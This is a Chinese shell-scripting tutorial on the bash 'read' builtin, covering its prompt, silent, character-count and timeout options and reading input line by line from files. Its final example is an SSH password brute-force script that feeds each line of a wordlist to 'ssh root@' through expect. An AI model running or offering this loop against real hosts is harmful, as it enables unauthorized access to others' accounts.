shell脚本之read的用法

博客介绍了Linux中read选项获取用户输入的用法,如 -p 指定文本、-s 无显示读取、-n 统计字符数、-t 设置输入等待时间。还提到read可从文件读取,能用于密码测试和网页连通性测试,如对pass.txt文本进行密码爆破测试。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

read选项可以获取用户输入

具体用法是read <变量>

-p: 指定一段文本

-s: 无显示读取,输入过程中不显示,适用于密码输入

-n: 统计输入的字符数,指定输入字符的数量

-t:  计时器,指定输入等待时间

#!/bin/bash
if read -t 5 -s -n 6 -p "Enter your password:" pass
then 
echo
echo $pass
else
echo
echo "password error"
fi

上面这段代码在倒计时五秒之后退出,输入是隐藏的,并且在统计到六个字符的时候退出

效果如下

 read还有一个很厉害的功能,那就是从文件中读取

利用这个功能,我们可以去做一些密码测试,网页连通性测试

网页连通性测试

#!/bin/bash
cat ./ip.txt | while read ip
do
if `curl -vl $ip &> /dev/null` 
  then
  echo
  echo "----------------------------------------------------------------txcg----------------------------------------------------------------------"
  echo "----------------------------------------------------------------txcg----------------------------------------------------------------------" > ./iptc.txt
  echo
  echo "$ip" > ./iptc.txt
  echo "$ip"
  echo
  curl -vl $ip &> ./iptc.txt
  echo " $( cat ./iptc.txt | grep HTTP/) "
fi
done

 效果如下

密码爆破(由于只是测试,这段代码没有进行改进,会出现一些小问题)

#!/bin/bash
cat /root/shellbc/\$read/pass.txt | while read pass
do
echo
echo $pass
/usr/bin/expect << EOF
spawn ssh root@192.168.20.13;
sleep 3
expect "*password:";
send "$pass\r";
expect eof
EOF
echo
done

效果如下

 他会对pass.txt里面的文本进行反复测试

这里由于没有做判断终止循环,他会一直试下去,可能需要手动改进

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值